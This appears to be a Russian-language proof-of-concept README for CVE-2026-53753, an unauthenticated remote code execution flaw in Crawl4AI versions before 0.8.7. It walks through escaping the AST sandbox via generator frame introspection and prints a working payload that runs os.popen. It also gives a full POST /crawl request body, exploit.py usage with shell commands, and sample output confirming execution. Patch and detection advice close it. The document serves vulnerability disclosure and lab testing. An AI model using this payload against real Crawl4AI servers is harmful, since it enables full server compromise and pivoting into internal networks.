CVE-2026-53753 — Crawl4AI <0.8.7 неаутентифицированное RCE (побег из песочницы AST через gi_frame.f_back). Лаборатория + PoC, подтверждено e2e.
Предварительная аутентификация RCE в Crawl4AI
< 0.8.7. Сформированная схемаJsonCssExtractionStrategy, отправленная на неаутентифицированныйPOST /crawlendpoint, достигает вычислителя вычисляемых полей (_safe_eval_expression), обходит его белый список AST через объекты фреймов Python, достигает реальногоbuiltins, и выполняет__import__('os').popen(<cmd>).read()— возвращая вывод команды внутри полосы в JSON-ответе.
| CVE | CVE-2026-53753 |
| Advisory | GHSA-qxjp-w3pj-48m7 |
| Затронуто | Crawl4AI <= 0.8.6 |
| Исправлено | 0.8.7 |
| Класс | CWE-94 (Code Injection) / обход песочницы Python |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Аутентификация | Нет — поставляемая конфигурация имеет jwt_enabled: false |
| Статус | ПОДТВЕРЖДЕНО — воспроизведено от начала до конца на официальном образе unclecode/crawl4ai:0.8.6 |
Подробное погружение: см.
ANALYSIS.mdдля пошагового обхода AST, стека фреймов во время выполнения, потока данных запроса и diff исправления.
crawl4ai/extraction_strategy.py позволяет схеме извлечения определять вычисляемые
поля — небольшие выражения Python, вычисляемые для каждого извлеченного элемента. Они выполняются
_safe_eval_expression(), которая пытается поместить выражение в песочницу с помощью
белого списка AST и урезанного __builtins__:
# crawl4ai/extraction_strategy.py (v0.8.6)
for node in ast.walk(tree):
if isinstance(node, (ast.Import, ast.ImportFrom)):
raise ValueError("Import statements are not allowed in expressions")
# Блокировка доступа к атрибутам с подчеркиванием, например __class__, __globals__
if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
if isinstance(node, ast.Call):
func = node.func
if isinstance(func, ast.Name) and func.id.startswith("_"):
raise ValueError(...)
if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
raise ValueError(...)
safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS} # нет __import__, нет eval, нет open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)
Валидатор — запрет по префиксу: он отвергает только имена, которые начинаются с _
(плюс import). Эта единственная эвристика и есть вся песочница — и у нее есть три
дыры, которые в сочетании дают полный обход:
| # | Дыра | Почему это важно |
|---|---|---|
| 1 | gi_frame, f_back, f_builtins не начинаются с _ | Доступна вся поверхность интроспекции фреймов/генераторов Python. |
| 2 | obj['__import__'] — это ast.Subscript, не ast.Attribute | Валидатор никогда не проверяет ключи словарного subscript, поэтому ключ __import__ проходит. |
| 3 | Цепочка f_back работающего генератора ведет к внешнему фрейму, чей f_builtins — это реальный builtins | Обходит урезанный _SAFE_EVAL_BUILTINS обратно к полному (__import__ и т.д.). |
Схема достигает этой функции без аутентификации: Docker API поставляется
с security.jwt_enabled: false, поэтому зависимость токена /crawl — lambda: None.
Выражение вычисляемого поля:
(lambda: (
(g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/main/%27os%27).popen('id').read()
for i in [1])),
list(g)
)[-1])()
Разбор по частям:
| Фрагмент | Роль | Почему валидатор разрешает |
|---|---|---|
(lambda: ... )() | Создает область видимости функции, чтобы имя, связанное с walrus, жило в замыкающей ячейке. | ast.Lambda не проверяется. |
g := ( <expr> for i in [1]) | Привязывает генератор к g и тело генератора ссылается на g (самого себя). | := и выражения-генераторы не проверяются. (Walrus запрещён в итерабельной части генератора, поэтому помещен в элемент кортежа.) |
list(g) | Запускает генератор — чтобы его фрейм был активен при выполнении тела. | list есть в безопасных встроенных модулях. |
g.gi_frame | Объект фрейма генератора. | gi_frame не начинается с _. |
.f_back.f_back.f_back | Поднимается вверх на три фрейма до того, у которого есть реальные встроенные модули. | f_back не начинается с _. |
.f_builtins | Словарь встроенных модулей этого фрейма (реальный). | f_builtins не начинается с _. |
['__import__'] | Извлекает __import__ из словаря встроенных модулей. | Subscript словаря — не проверяется. |
('os') | __import__('os') → модуль os. | Цель вызова — Subscript, не Name/Attribute. |
.popen('id').read() | Выполняет команду и возвращает её stdout. | popen/read не начинаются с _. |
Поскольку значение генератора — это os.popen(cmd).read(), stdout команды становится значением поля и отражается в ответе /crawl — внутренний оракул, OAST не нужен.
Пока list(g) перебирает генератор, стек вызовов выглядит так:
frame: _safe_eval_expression() <-- реальные builtins (__import__ живёт здесь) ← f_back ×3
└ frame: <expression> (eval) <-- песочница builtins (_SAFE_EVAL_BUILTINS) ← f_back ×2
└ frame: <lambda> <-- песочница ← f_back ×1
└ frame: <genexpr> g <-- ВЫПОЛНЯЕТСЯ; g.gi_frame — это фрейм ← gi_frame
g.gi_frame.f_back заполняется только пока генератор выполняется (именно поэтому
генератор должен ссылаться сам на себя и запускаться через list(g) —
незапущенный генератор имеет f_back is None). Проход по f_back три раза
попадает на фрейм _safe_eval_expression, чей f_builtins — это полный модуль
встроенных функций — из которого __import__ извлекается через subscript.
Глубина фрейма стабильна для этого пути кода:
f_back × 3корректно для Crawl4AI 0.8.6_safe_eval_expression.
Официальный образ содержит уязвимую конфигурацию по умолчанию (без аутентификации):
# Вариант A — docker compose (обычный хост Docker с bridge-сетью)
docker compose -f lab/docker-compose.yml up -d
# Вариант B — простой docker run
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6
Подождите ~20 секунд, пока прогреется пул браузеров (docker logs crawl4ai-vuln →
Application startup complete).
# Просмотр тела запроса без отправки:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload
# Запуск (stdout команды возвращается в ответе):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"
exploit.py использует только стандартную библиотеку Python — никаких зависимостей.
[*] POST http://127.0.0.1:11235/crawl (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
{
\"out\": [
\"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
]
}
]" ...
Поле out — это живое состояние ОС (вывод id, uname, os-release контейнера),
не эхо запроса — uid=999(appuser) — это сервисная учетная запись контейнера,
доказывающая выполнение кода внутри хоста Crawl4AI. Уникальный echo <marker>
отражается дословно, подтверждая, что команда действительно выполнилась.
POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json
{"urls":["raw://<html><body><div id='x'>hi</div></body></html>"],
"crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
{"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
"fields":[{"name":"out","type":"computed","expression":"<PAYLOAD FROM §2>"}]}}}}}}
raw://… делает запрос самодостаточным — не требуется исходящая выборка; атакующий
предоставляет HTML встроенным образом.baseSelector: "div" просто должен соответствовать элементу, чтобы вычисляемое поле
было оценено. Для реальной цели краулинга используйте любой селектор, соответствующий странице.| Симптом | Причина / исправление |
|---|---|
Connection refused на :11235 | Контейнер еще прогревается, или ваш Docker-демон не имеет рабочей сети bridge. Подождите Application startup complete; если привязка порта не работает, запустите контейнер с --network host. |
out — null | Базовый селектор не совпал ни с одним элементом — убедитесь, что HTML в raw:// содержит <div> (или измените baseSelector). |
| Работает на 0.8.6, но не на 0.8.7 | Ожидаемо — 0.8.7 удаляет _safe_eval_expression и полностью отключает ключ expression (исправление). |
Любой клиент, имеющий сетевой доступ, выполняет произвольные команды ОС на хосте Crawl4AI без аутентификации в конфигурации по умолчанию — полный компрометация сервера и переход на любые внутренние ресурсы, к которым он имеет доступ.
_safe_eval_expression; ключ
вычисляемого поля expression отключен — вместо этого используйте ключ function
с проверенным вызываемым объектом Python).jwt_enabled: true + api_token) и никогда не
открывайте API Crawl4AI для ненадежных сетей.Отмечайте тела POST /crawl (и /crawl/stream), содержащие gi_frame, f_back,
f_builtins или любое computed поле с ключом expression.